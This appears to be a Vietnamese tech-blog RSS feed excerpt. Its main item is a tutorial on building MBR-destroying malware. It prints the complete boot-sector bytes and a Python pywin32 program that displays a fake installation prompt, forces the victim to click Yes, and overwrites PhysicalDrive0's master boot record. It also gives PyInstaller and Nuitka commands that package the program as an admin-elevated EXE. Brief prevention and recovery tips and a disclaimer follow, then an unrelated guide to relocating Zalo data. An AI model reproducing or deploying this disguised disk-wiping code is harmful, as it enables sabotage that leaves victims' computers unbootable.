<p>Hàm <code>cls</code> cũng sử dụng lệnh <code>int 0x10</code> để gọi dịch vụ hệ thống của BIOS để xóa màn hình. Trong hàm này, chương trình thiết lập các thanh ghi để định dạng của việc xóa màn hình và sau đó gọi lệnh <code>int 0x10</code> để xóa màn hình.</p>
<p>Cuối cùng, chương trình kết thúc bằng hai câu lệnh với  <code>times 510 - ($ - $$) db 0</code> được sử dụng để đảm bảo rằng kích thước của chương trình sẽ là chính xác 512 byte và <code>dw 0xaa55 </code>được sử dụng để đánh dấu kí tự cuối của một sector bootable.</p>
<h4><strong>Để biên dịch được sang mã hex độc và thực thi nó mình đã làm như sau:</strong></h4>
<p>Giờ mình sẽ boot thử vào <strong>boot.bin</strong> bằng qemu binaries xem có được không nhé ! OK. Vậy là được rồi. Đầu tiên mình sẽ sử dụng NASM để biên dịch <strong>boot.asm</strong> sang <strong>boot.bin</strong> sau đó mình sẽ vào website <a href="http://tomeko.net/online_tools/file_to_hex.php?lang=en" target="_blank" rel="noopener">tomeko.net</a> để chuyển file <strong>boot.bin</strong> sang mã hex độc hại tiếp đến mình chỉ vệc copy lại</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/Screenshot-26.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 12" width="1280" height="628" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 28"></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/Screenshot-20.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 13" width="1109" height="612" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 29"></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/Screenshot-22.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 14" width="1145" height="708" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 30"></p>
<p>Ngoài ra bạn có thể sử dụng một đoạn script Python nhỏ của mình để chuyển file bin sang dạng mã hex nhé. Nếu bạn có tên file khác boot.bin bạn chỉ cần sửa ở dòng 3 sau đó chạy script, nó sẽ cấp cho bạn 1 đoạn mã hex giống như bên dưới</p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">import binascii

with open("boot.bin", "rb") as f:
    binary_data = f.read()
hex_values = ["0x{:02X}".format(byte) for byte in binary_data]
print(hex_values)

hex_string = ", ".join(hex_values)
print(hex_string)
</pre>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/Screenshot-24.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 15" width="1111" height="615" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 31"></p>
<h3><span style="font-size: 14pt; color: #008000;"><strong>Bước 2: Đính kèm mã hex độc và biên dịch sang EXE</strong></span></h3>
<p>Đầu tiên mình sẽ viết ra 1 đoạn code Python ngắn gọn với module <a href="https://pypi.org/project/pywin32/" target="_blank" rel="noopener">Pywin32</a> việc cài đặt module đó cũng khá đơn giản, bạn chỉ cần mở CMD trên máy sau đó chạy đoạn lệnh <code>pip install pywin32</code>.Với module này giúp mình làm việc với các tài nguyên Windows như các tệp, thư mục, tiến trình, ứng dụng, COM objects, registry, service,&#8230;Không chỉ vậy, nó còn thực hiện các tác vụ liên quan đến Windows, bao gồm cả việc sử dụng các API của Windows thông qua các đối tượng Python. Mình sẽ gọi các module con của Pywin32 bao gồm <strong>win32file, win32api, win32gui, win32ui và win32con</strong> và import tất cả những gì của module vào. Còn module time mình dùng để &#8220;thao túng tâm lý&#8221; nạn nhân thôi :&gt;</p>
<p>Và bạn chỉ cần copy đoạn mã hex lúc nãy mà bạn đã tạo được và paste nó vào bến <strong>ma_doc</strong> như hình bên dưới</p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">from win32file import * 
from win32api import *  
from win32gui import *  
from win32con import *  
from win32ui import *  
from time import sleep

ma_doc = bytes([
     # paste đoạn code dữ liệu hex tại đây

])
</pre>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon2.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 16" width="1361" height="1595" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 32"></p>
<p>Sau khi đã copy mã độc vào biến ma_doc, chúng ta sẽ tạo 1 hàm tên là <strong>run_mbr()</strong> bao gồm các nội dung sau:</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon3.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 17" width="1536" height="797" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 33"></p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">def run_mbr():
    while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'Anonyviet',MB_YESNO) == IDNO:
            continue
    sleep(3)
    if MessageBox('Đã cài đặt hoàn tất \nVui lòng khởi động lại máy để phần mềm được làm mới !', "Anonyviet"):
        pass

    anonyviet = CreateFileW(r"\\.\PhysicalDrive0", 
                          GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                          None, OPEN_EXISTING, 0, 0)

    WriteFile(anonyviet, ma_doc, None)
    CloseHandle(anonyviet)

run_mbr()</pre>
<p>&nbsp;</p>
<p>Một vòng lặp while vô hạn được bắt đầu. Trong vòng lặp này, một hộp thoại <strong>MessageBox</strong> sẽ xuất hiện với một thông điệp yêu cầu người dùng bấm Yes hoặc No để tiếp tục cài đặt. Nếu người dùng bấm No, vòng lặp sẽ tiếp tục chạy và hộp thoại sẽ xuất hiện lại ( Và đây là kiểu ép buộc người dùng phải chọn Yes ), Nếu người dùng bấm Yes, vòng lặp sẽ kết thúc. Sau đó, chương trình sẽ dừng nghỉ trong 3 giây bằng hàm <code>sleep(3)</code> để đợi người dùng có thể đọc thông báo hoàn tất. Tiếp theo, một hộp thoại MessageBox khác xuất hiện với thông điệp yêu cầu người dùng khởi động lại máy tính để phần mềm được cập nhật. Nếu người dùng nhấn OK, chương trình sẽ tiếp tục thực thi bước tiếp theo. Với chuỗi đầu tiên trong MessageBox đó là <code>Bấm "Yes" để tiếp tục cài đặt</code> Đây là chuỗi hiện lên thông báo văn bản trên hộp thoại, tiếp đến đó là chuỗi <code>'Anonyviet'</code> đây là chuỗi hiện thị tên hộp thoại và cuối cùng đó là <code>MB_YESNO</code> đây là một phương thức gọi hộp thoại YES NO của <strong>win32gui</strong></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon-1.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 18" width="1986" height="518" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 34"></p>
<p>&nbsp;</p>
<p>Tiếp đến là mở một tập tin được gọi là \\.\PhysicalDrive0, là tệp tương ứng với ổ đĩa vật lý đầu tiên trên hệ thống. Điều này cho phép chương trình ghi một số dữ liệu lên phần MBR (Master Boot Record) của ổ đĩa. Dòng code bên dưới tạo một file handle (một đối tượng để truy cập file) cho thiết bị ổ đĩa vật lý đầu tiên (PhysicalDrive0) bằng cách sử dụng hàm CreateFileW của Windows API. Tham số <code>GENERIC_WRITE</code> chỉ định rằng file handle này sẽ được sử dụng để ghi dữ liệu vào ổ đĩa. Tham số <code>FILE_SHARE_READ</code> và <code>FILE_SHARE_WRITE</code> cho phép các tiến trình khác có thể đọc và ghi vào thiết bị. Tham số <code>None</code> chỉ định rằng không có thuộc tính bảo mật nào được sử dụng cho file handle. Tham số <code>OPEN_EXISTING</code> chỉ định rằng file handle được tạo sẽ trỏ tới một file đã tồn tại. Tham số cuối cùng là các flag khác và ở đây được đặt là 0.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon-2.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 19" width="1506" height="462" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 35"></p>
<p>&nbsp;</p>
<p>với đoạn code bên dưới sử dụng hàm <code>WriteFile()</code> của Windows API để ghi dữ liệu được lưu trong biến <code>ma_doc</code> (chứa mã độc MBR) vào ổ đĩa vật lý đã được mở file handle (<code>anonyviet</code>). Tiếp đến là hàm <code>CloseHandle()</code>  hàm này đóng file handle (<code>anonyviet</code>) đã được mở trước đó. Việc đóng file handle giúp giải phóng tài nguyên và ngăn chặn việc các tiến trình khác ghi vào thiết bị.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon-3-1.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 20" width="832" height="432" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 36"></p>
<p>Nói nôm na là chương trình này yêu cầu người dùng bấm Yes để tiếp tục cài đặt, sau đó dừng nghỉ trong 3 giây và hiển thị một thông báo yêu cầu khởi động lại máy tính để cập nhật phần mềm. Sau khi người dùng khởi động lại máy tính, chương trình ghi dữ liệu vào phần MBR của ổ đĩa vật lý đầu tiên trên hệ thống. Và đó chính là mã độc MBR</p>
<p>Đây là đoạn code Python hoàn thiện:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">from win32file import * 
from win32api import *  
from win32gui import *  
from win32con import *  
from win32ui import *  
from time import sleep


ma_doc = bytes([
     # paste đoạn code dữ liệu hex tại đây
    0xE8, 0x15, 0x00, 0xBB, 0x27, 0x7C, 0x8A, 0x07, 0x3C, 0x00, 0x74, 0x0B, 0xE8, 0x03, 0x00, 0x43, 0xEB, 0xF4, 
    0xB4, 0x0E, 0xCD, 0x10, 0xC3, 0xC3, 0xB4, 0x07, 0xB0, 0x00, 0xB7, 0x02, 0xB9, 0x00, 0x00, 0xBA, 0x4F, 0x18, 
    0xCD, 0x10, 0xC3, 0x57, 0x65, 0x20, 0x61, 0x72, 0x65, 0x20, 0x41, 0x6E, 0x6F, 0x6E, 0x79, 0x76, 0x69, 0x65, 
    0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2C, 0x20, 0x49, 0x20, 0x61, 0x6D, 0x20, 0x48, 0x65, 0x76, 0x69, 0x6E, 0x0D, 
    0x0A, 0x59, 0x6F, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x62, 0x65, 0x65, 0x6E, 0x20, 0x68, 0x61, 0x63, 
    0x6B, 0x65, 0x64, 0x20, 0x21, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
])

def run_mbr():
    while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'Anonyviet',MB_YESNO) == IDNO:
            continue
    sleep(3)
    if MessageBox('Đã cài đặt hoàn tất \nVui lòng khởi động lại máy để phần mềm được làm mới !', "Anonyviet"):
        pass

    anonyviet = CreateFileW(r"\\.\PhysicalDrive0", 
                          GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                          None, OPEN_EXISTING, 0, 0)

    WriteFile(anonyviet, ma_doc, None)
    CloseHandle(anonyviet)

run_mbr()</pre>
<p>Để build được file Python sang EXE ( file exe này phải chạy với quyền admin nhen ) mình sẽ sử dụng <strong>Pyinstaller</strong> hoặc là <strong>Nuitka</strong> để build ra phần mềm chứa mã độc mbr:</p>
<p><code>pyinstaller --onefile --uac-admin -w FileMaDocMBRcuaBan.py</code></p>
<p><code>nuitka --onefile --windows-uac-admin --mingw64 --disable-console FileMaDocMBRcuaBan.py</code></p>
<p><strong> Và đây là kết quả !</strong></p>
<div style="width: 1364px;" class="wp-video"><!--[if lt IE 9]><script>document.createElement('video');</script><![endif]--><br />
<video class="wp-video-shortcode" id="video-45229-1" width="1364" height="768" preload="metadata" controls="controls"><source type="video/mp4" src="https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4?_=1" /><a href="https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4">https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4</a></video></div>
<h2><span style="font-size: 18pt; color: #0000ff;"><strong>Cách phòng chống mã độc MBR:</strong></span></h2>
<ol>
<li>Sử dụng phần mềm diệt virus và cập nhật thường xuyên: Cài đặt phần mềm diệt virus trên máy tính của bạn và cập nhật thường xuyên để bảo vệ máy tính của bạn khỏi các mã độc MBR mới nhất.</li>
<li>Không tải xuống và cài đặt phần mềm từ các nguồn không rõ nguồn gốc: Tránh tải xuống và cài đặt phần mềm từ các trang web không rõ nguồn gốc, vì chúng có thể chứa mã độc MBR.</li>
<li>Không mở email hoặc tải xuống các tập tin từ các nguồn không rõ nguồn gốc: Mở email và tải xuống tập tin từ các nguồn không rõ nguồn gốc có thể dẫn đến sự lây lan của mã độc MBR</li>
<li>Sử dụng Firewall: Cài đặt tường lửa (Firewall) để bảo vệ máy tính của bạn khỏi các cuộc tấn công mạng.</li>
<li>Sử dụng phần mềm Anti-Rootkit: Cài đặt phần mềm Anti-Rootkit, nó sẽ giúp phát hiện và loại bỏ mã độc MBR.</li>
<li>Sử dụng mật khẩu truy cập: Sử dụng mật khẩu để bảo vệ BIOS và MBR khỏi các tấn công truy cập trái phép.</li>
<li>Không để ổ đĩa cứng trống trải: Nếu ổ đĩa cứng của bạn trống trải, các hacker có thể sử dụng để lưu trữ mã độc MBR.</li>
<li>Sử dụng phần mềm Backup: Sử dụng phần mềm Backup để sao lưu dữ liệu quan trọng và ổ đĩa cứng, nếu có bất kỳ điều gì xảy ra thì bạn có thể phục hồi lại dữ liệu của mình.</li>
</ol>
<p><span style="font-size: 18pt; color: #0000ff;"><strong>Cách giải quyết khi bị nhiễm mã độc MBR trên Windows</strong></span></p>
<p><strong>Bước 1</strong>: Tải bộ cài đặt Windows từ trang web của Microsoft. Bạn có thể tải về bản cài đặt tương ứng với phiên bản Windows bạn muốn cài đặt, ví dụ như Windows 10.</p>
<p><strong>Bước 2</strong>: Tạo một đĩa hoặc USB khởi động từ bộ cài đặt Windows bạn vừa tải về. Bạn có thể sử dụng một phần mềm tạo USB khởi động như Rufus để thực hiện việc này.</p>
<p><strong>Bước 3</strong>: Chọn thiết bị khởi động từ đĩa hoặc USB mà bạn đã tạo ở bước trên. Để làm điều này, bạn cần truy cập vào BIOS hoặc UEFI firmware và thay đổi thiết lập khởi động.</p>
<p><strong>Bước 4</strong>: Khởi động máy tính từ đĩa hoặc USB khởi động. Sau khi khởi động, bạn sẽ thấy màn hình cài đặt Windows.</p>
<p><strong>Bước 5</strong>: Làm theo các hướng dẫn trên màn hình để cài đặt Windows. Bạn có thể chọn loại cài đặt tùy chỉnh để xóa toàn bộ dữ liệu trên ổ cứng.</p>
<p><strong>Bước 6</strong>: Khi quá trình cài đặt hoàn tất, bạn cần cài đặt các trình điều khiển và các ứng dụng mà bạn sử dụng thường xuyên. Bạn có thể tải chúng từ trang web của nhà sản xuất hoặc từ Microsoft Store.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>MBR là gì và tại sao nó lại dễ bị tấn công?</h3>
<p>MBR (Master Boot Record) là 512 byte đầu tiên trên ổ cứng, chứa thông tin về phân vùng và mã khởi động.  Do vị trí quan trọng và cấu trúc tương đối đơn giản, MBR dễ bị tấn công bởi mã độc, dẫn đến lỗi khởi động hoặc mất dữ liệu.</p>
<h3>Việc tạo mã độc MBR có mục đích gì trong bài viết này?</h3>
<p>Bài viết này nhằm mục đích giáo dục và nghiên cứu về an ninh mạng, không khuyến khích việc tạo hoặc sử dụng mã độc.  Việc trình bày cách tạo mã độc giúp người đọc hiểu rõ hơn về cách thức hoạt động của các cuộc tấn công và biện pháp phòng ngừa.</p>
<h3>Làm thế nào để bảo vệ máy tính khỏi mã độc tấn công MBR?</h3>
<p>Cần thường xuyên sao lưu dữ liệu quan trọng, sử dụng phần mềm diệt virus cập nhật, và giữ cho hệ điều hành và phần mềm luôn được cập nhật bản vá bảo mật.  Sử dụng các công cụ kiểm tra và sửa chữa MBR nếu nghi ngờ bị nhiễm mã độc.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/code-pha-huy-mbr-o-cung-tan-cong-va-phong-chong/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		<enclosure url="https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4" length="1923161" type="video/mp4" />
<enclosure url="https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4?_=1" length="1923161" type="video/mp4" />

			</item>
		<item>
		<title>Cách giải phóng dung lượng Zalo trên ổ C vẫn giữ nguyên dữ liệu</title>
		<link>https://anonyviet.com/cach-giai-phong-dung-luong-zalo-tren-o-c-van-giu-nguyen-du-lieu/</link>
					<comments>https://anonyviet.com/cach-giai-phong-dung-luong-zalo-tren-o-c-van-giu-nguyen-du-lieu/#comments</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Tue, 07 Feb 2023 09:22:40 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[chất]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[dung lượng]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[zalo]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=45066</guid>

					<description><![CDATA[Zalo là công cụ nhắn tin được sử dụng nhiều nhất hiện nay tại Việt Nam. Zalo có 3 phiên bản gồm Web, App trên điện thoại và Zalo PC. Đối với các bạn văn phòng thường cài ZaloPC thì tính tiện dụng và khả năng đồng bộ, lưu trữ dữ liệu được lâu hơn. [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong><a href="https://anonyviet.com/?s=Zalo">Zalo</a> là công cụ nhắn tin được sử dụng nhiều nhất hiện nay tại Việt Nam. Zalo có 3 phiên bản gồm Web, App trên điện thoại và Zalo PC. Đối với các bạn văn phòng thường cài ZaloPC thì tính tiện dụng và khả năng đồng bộ, lưu trữ dữ liệu được lâu hơn. Tuy nhiên, vì dữ liệu được tải xuống liên tục nên Zalo được cài trên ổ C sẽ chiếm khá nhiều dung lượng. Trong trường hợp này bạn cần giải phóng dung lượng Zalo bằng cách xóa bớt dữ liệu, nhưng như vậy sẽ bất luôn các file đồng bộ từ Zalo. Do vậy mình sẽ hướng dẫn bạn cách chuyển thư mục Zalo qua ổ đĩa khác để lấy lại dung lượng cho ổ C mà không mất dữ liệu của Zalo.</strong></p>
<h2>Cách 1: Di chuyển thư mục Zalo qua ổ đĩa khác bằng tay</h2>
<p>Phương pháp này mình thấy bạn Lê Ngọc An chia sẻ khá hiệu quả và thành công. Để di chuyển dữ liệu Zalo qua ổ đĩa khác nhằm giải phóng dung lượng cho ổ C, bạn thực hiện các bước như sau:</p>
<p><strong>Bước 1:</strong> Thoát Zalo trên máy tính bằng cách click chuột phải vào biểu tượng Zalo ở góc phải màn hình, chọn <strong>Thoát</strong></p>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2023/02/thoat-zalo-pc-giai-phong-dung-luong-o-C-1.png" alt="thoat zalo pc giai phong dung luong o C" width="294" height="153" title="Cách giải phóng dung lượng Zalo trên ổ C vẫn giữ nguyên dữ liệu 42"></p>
<p><strong>Bước 2: </strong>Truy cập vào đường dẫn <code>C:\Users\Tên-User-Windows\AppData\Local</code> và click phải chuột vào thư mục <strong>ZaloPC</strong> chọn <strong>Cut</strong></p>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2023/02/cat-zalopc-qua-o-dia-khac.png" alt="cat zalopc qua o dia khac" width="630" height="209" title="Cách giải phóng dung lượng Zalo trên ổ C vẫn giữ nguyên dữ liệu 43"></p>
<p><strong>Bước 3:</strong> Chọn ổ D: để di chuyển thư mục ZaloPC vào, click phải chuột chọn <strong>Paste. </strong>Khi đó trong ổ D: sẽ có thư mục ZaloPC bạn chuyển từ ổ C: sang. Bây giờ dung lượng ổ C sẽ được tăng lên và dung lượng ổ D sẽ lưu trữ các tập tin hình ảnh, file&#8230; được của Zalo trước đó.</p>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2023/02/tang-dung-luong-o-c-zalo.png" alt="tang dung luong o c zalo" width="776" height="184" title="Cách giải phóng dung lượng Zalo trên ổ C vẫn giữ nguyên dữ liệu 44"></p>
<p><strong>Bước 4:</strong> Bạn nhấn nút Start gõ cmd quyền Administrator để mở cửa sổ CMD</p>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2023/02/mo-cmd-quyen-admin.jpg" alt="mo cmd quyen admin" width="676" height="551" title="Cách giải phóng dung lượng Zalo trên ổ C vẫn giữ nguyên dữ liệu 45"></p>
<p>Tại cửa sổ CMD gõ lệnh: <code>mklink /j "%LocalAppData%\ZaloPC\" "D:\ZaloPC"</code> và nhấn Enter. Vậy là xong!</p>
<p><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2023/02/tao-shortcut-zalo-o-c-tang-duong-luong-o-c.png" alt="tao shortcut zalo o c tang duong luong o c" width="640" height="300" title="Cách giải phóng dung lượng Zalo trên ổ C vẫn giữ nguyên dữ liệu 46"></p>
<p><strong>Bước 5:</strong> Bây giờ bạn có thể mở ZaloPC lên lại, đăng nhập và sử dụng bình thường. 3</p>
<h2>Cách 2: Sử dụng Script để di chuyển dữ liệu Zalo, lấy lại dung lượng ổ C</h2>
<p>Để đơn giản hóa các bước trên, mình có viết Script, bạn chỉ cần tải về, click phải chuột vào file <strong>Zalo.bat</strong> chọn <strong>Run as Adminstrator</strong> là xong. Không cần phải thao tác thêm bất cứ gì.</p>
<p style="text-align: center;"><strong><a href="https://drive.google.com/file/d/1O6iOaUTZUXKFHxTmsiGBBB_R6kecaKBZ/view" target="_blank" rel="noopener">Download Script chuyển dữ liệu Zalo</a> | <a href="https://www.fshare.vn/file/KE2TNH9JM83D" target="_blank" rel="noopener">Backup</a></strong></p>
<p>Hoặc bạn có thể tự tạo file .bat bằng script bên dưới:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">net stop "zalo" &gt;nul 2&gt;&amp;1
taskkill /im "zalo.exe" /f &gt;nul 2&gt;&amp;1
taskkill /im "ZaloCall.exe" /f &gt;nul 2&gt;&amp;1
taskkill /im "ZaloMeet.exe" /f &gt;nul 2&gt;&amp;1
mkdir D:\ZaloPC
xcopy "%LocalAppData%\ZaloPC\" D:\ZaloPC /i /e
rmdir "%LocalAppData%\ZaloPC" /s /q
mklink /j "%LocalAppData%\ZaloPC\" "D:\ZaloPC"
pause</pre>
<p>Sau khi chạy Script xong, bạn hãy mở lại ZaloPC và đăng nhập để chat bình thường.</p>
<p>Theo 2 cách bên trên, bạn có thể giải phóng dung lượng cho ổ C và chuyển dữ liệu Zalo qua ổ D để sử dụng. Việc này tránh ổ C bị đầy, gây giật lag làm chậm máy tính.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi có mất dữ liệu Zalo sau khi thực hiện các bước di chuyển thư mục không?</h3>
<p>Không, các phương pháp được hướng dẫn sẽ di chuyển thư mục Zalo sang ổ đĩa khác mà không làm mất dữ liệu hiện có.  Dữ liệu Zalo của bạn vẫn được giữ nguyên vẹn.</p>
<h3>Làm thế nào để đảm bảo quá trình di chuyển thư mục diễn ra suôn sẻ?</h3>
<p>Trước khi bắt đầu, hãy đảm bảo bạn đã thoát hoàn toàn ứng dụng Zalo trên máy tính.  Nếu sử dụng phương pháp thủ công, hãy làm theo từng bước một cẩn thận. Nếu dùng script, hãy chạy file .bat với quyền Administrator.</p>
<h3>Tôi có thể di chuyển thư mục Zalo sang ổ đĩa khác ngoài ổ D không?</h3>
<p>Có, bạn hoàn toàn có thể thay đổi ổ đĩa đích (ví dụ: ổ E, F&#8230;) trong cả hai phương pháp. Chỉ cần thay đổi đường dẫn tương ứng trong lệnh  <code>mklink</code> hoặc trong script  tại vị trí  &#8220;D:\ZaloPC&#8221;.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-giai-phong-dung-luong-zalo-tren-o-c-van-giu-nguyen-du-lieu/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>Cách khôi phục dữ liệu trên ổ cứng HDD cho người bắt đầu</title>
		<link>https://anonyviet.com/cach-khoi-phuc-du-lieu-tren-o-cung-hdd/</link>
					<comments>https://anonyviet.com/cach-khoi-phuc-du-lieu-tren-o-cung-hdd/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sun, 25 Sep 2022 13:59:51 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[khôi phục dữ liệu]]></category>
		<category><![CDATA[lấy lại dữ liệu]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[recovery]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=43679</guid>

					<description><![CDATA[Bài hướng dẫn khôi phục dữ liệu trên ổ cứng HDD cho người bắt đầu của bác Andy Phạm chia sẻ trên Group Nghiện Tech khá chi tiết dành cho những bạn mới tìm hiểu về cách lấy lại dữ liệu đã xóa trên ổ cứng HDD. Đây là toàn bộ bài viết của bác [&#8230;]]]></description>
